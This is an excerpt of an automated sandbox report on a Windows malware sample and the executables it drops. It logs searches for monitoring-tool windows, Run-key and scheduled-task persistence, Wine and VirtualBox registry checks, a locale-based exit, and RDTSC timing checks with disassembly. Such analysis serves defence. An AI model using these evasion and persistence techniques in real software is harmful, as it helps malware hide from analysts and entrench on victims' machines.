Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7ca32398cd.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7ca32398cd.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5aa32fec17.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5aa32fec17.exe

Source: C:\Users\user\Desktop\file.exe

0_2_004195E0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\1000003002\5aa32fec17.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\1000003002\5aa32fec17.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\1000003002\5aa32fec17.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-56634

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 486E1F second address: 486E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F2738B89E18h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 486E3F second address: 486E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F2738E98EF8h 0x00000010 jmp 00007F2738E98EEEh 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 486E70 second address: 486E74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 486E74 second address: 486E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c js 00007F2738E98EECh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4928E8 second address: 4928F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E0Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 492D6A second address: 492D74 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2738E98EECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 492D74 second address: 492D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2738B89E08h 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 492D87 second address: 492DB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F2738E98EE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2738E98EF9h 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 492DB0 second address: 492DC5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2738B89E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F2738B89E08h 0x00000010 push edi 0x00000011 pop edi 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494A38 second address: 494A3E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494A3E second address: 494A48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F2738B89E06h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494A48 second address: 494A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 494A4C second address: 494A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a js 00007F2738B89E0Ch 0x00000010 push ebx 0x00000011 jnp 00007F2738B89E06h 0x00000017 pop ebx 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push esi 0x0000001e push eax 0x0000001f push esi 0x00000020 pop esi 0x00000021 pop eax 0x00000022 pop esi 0x00000023 mov eax, dword ptr [eax] 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push ebx 0x00000029 pop ebx 0x0000002a pop eax 0x0000002b rdtsc
